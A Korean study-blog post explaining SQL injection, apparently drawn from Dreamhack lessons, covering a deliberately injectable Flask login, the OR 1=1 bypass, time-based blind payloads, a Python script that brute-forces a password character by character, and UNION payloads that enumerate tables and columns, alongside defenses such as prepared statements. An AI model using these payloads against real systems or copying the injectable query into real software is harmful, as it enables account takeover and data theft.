[2025-07-11] SQL Injection

🦥 본문

정의

웹 애플리케이션의 입력값을 통해 SQL 쿼리를 조작하는 공격

예시

from flask import Flask, request
import mysql.connector

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    db = mysql.connector.connect(
        host="localhost",
        user="root",
        password="password",
        database="mydb"
    )

    cursor = db.cursor()

    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)

    result = cursor.fetchone()

    if result:
        return "Login Success!"
    else:
        return "Login Failed"

if __name__ == "__main__":
    app.run(debug=True)

위의 코드에서 username에 'OR 1=1 -- 로 하게 된다면

SELECT * FROM users WHERE username= " OR 1=1 --'AND password= '[입력값]'; 

위와 같이 서버가 읽어드리게 된다. – 뒤로는 다 주석 처리가 되므로 로그인이 성공한다.

대응 방법

  1. Prepared Statements : 파라미터를 통한 바인딩 사용
await psql.query(`
    SELECT CU.idx, CU.role, CM.interest_idx, CI.interest
    FROM calenduck.login CL
    JOIN calenduck.user CU
    ON CL.idx = CU.login_idx 
    LEFT JOIN calenduck.manager CM ON CU.idx = CM.user_idx
    LEFT JOIN calenduck.interest CI ON CM.interest_idx = CI.idx
    WHERE CL.id = $1 AND CL.pw = $2
  `, [id, pw]);
  1. ORM(Object-Relational Mapping) : SQL 직접 작성하지 않고 ORM 사용
    • ORM : 객체와 데이터베이스의 테이블을 자동으로 연결해주는 기술
      user = db.session.query(User).filter_by(id=user_id).first()
    
  2. 입력 값 검증 및 화이트 리스트 사용
  3. 오류 메시지 숨기기
  4. 권한 최소화

Blind SQL Injection

정의

공격자가 응답의 변화를 통해 간접적으로 SQL 결과를 추측하는 방식의 공격

종류

  • Boolean-based Blind : 조건이 참/거짓일 때 페이지 내용이 달라지는지 비교
  • Time-based Blind : 조건이 참이면 일부러 sleep() 등으로 서버 반응을 지연시킴

예시

아래와 같은 SQL문을 동작시키는 서버가 있다고 가정. Time-based Blind 방식 공격

SELECT * FROM users WHERE username = '{username}' AND password = '{password}'
  1. 비밀번호 길이 알아내기. 아래의 코드에서 LENGTH의 길이를 점점 늘려서 알아낸다.
admin' AND IF(LENGTH(password)=8, SLEEP(5), 0)--
  1. 길이를 알아냈다면 한 글자씩 알아내기. 맞다면 응답이 지연되기 때문에 이런 방식으로 비밀번호를 추론한다.
admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--

공격 스크립트 : Requset 모듈

  • GET 방
import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)
  • POST 방식
import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)
  • GET 방식. 모든 문자열에 대한 Blind SQLi 실행
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
    'uid': '',
    'upw': ''
}
# ascii printables
tc = string.printable
# 사용할 SQL Injection 쿼리
query = '''admin' and substr(upw,{idx},1)='{val}'-- '''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
    for ch in tc:
        # query를 이용하여 Blind SQL Injection 시도
        params['uid'] = query.format(idx=idx+1, val=ch).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
        if c.text.find("Login success") != -1:
            password += ch
            break
print(f"Password is {password}")

Error Based SQLi

정의

SQL의 잘못된 문법이나 자료형 불일치 등에 의한 오류 메시지에 의존하여 수행되는 공격 기법

동작 흐름

image.png

  1. HTTP 요청
  2. 전달 받은 파라미터의 값을 SQL 쿼리에 대입
  3. SQL 쿼리 실행 요청
  4. 오류 메시지 반환
  5. DB 오류 메시지와 함께 HTTP 응답
  6. DB 정보 획득
  • 데이터베이스 별 공격 기법은 다음 링크에서 알 수 있다.

https://www.bugbountyclub.com/pentestgym/view/53

Union Syntax

Union 기반의 공격 방법으로 다른 테이블의 공격도 가능하기 때문에 가장 위험한 공격 중 하나이다.

동작 방식

  • ORDER BY 1은 첫번째 컬럼을 오름차순 정렬하여 출력하는 것. 뒤에 숫자를 점점 키워서 컬럼의 갯수를 알아낼 수 있다.
?idx=임의의 문자열'+UNION+ALL+SELECT+'a',+NULL,+NULL--+
?idx=임의의 문자열'+UNION+ALL+SELECT+NULL,+'a',+NULL--+
?idx=임의의 문자열'+UNION+ALL+SELECT+NULL,+NULL,+'a'--+
...
  • 위의 코드를 사용해서 만약 에러가 발생하지 않는다면 해당 컬럼은 문자열을 받을 수 있는 것 에러가 발생한다면 다른 타입
  • 데이터베이스명을 반환하는 database() 함수
?idx=임의의 문자열'+UNION+ALL+SELECT+database(),2,3--+
  • 모든 테이블 이름 추출을 하는 group_concat(table_name) 함수
?idx=임의의 문자열'+UNION+ALL+SELECT+group_concat(table_name),2,3+FROM+information_schema.TABLES+WHERE+table_schema=database()--+

+information_schema.TABLES 는 모든 DB의 테이블 정보를 저장하는 시스템 테이블
WHERE+table_schema=database()는 현재 DB의 테이블들만 조회
  • 컬럼 추출
  • group_concat(column_name)은 지정한 테이블의 모든 컬럼 이름을 콤마로 연결하여 반환.
?idx=임의의 문자열'+UNION+ALL+SELECT+group_concat(column_name),2,3+FROM+information_schema.COLUMNS+WHERE+table_schema=database()+AND+table_name='테이블명'--+

위의 방법들로 다른 테이블을 알아내어 다른 테이블에 접근할 수 있다.

+https://www.bugbountyclub.com/pentestgym/view/54

Categories:

Updated:

Leave a comment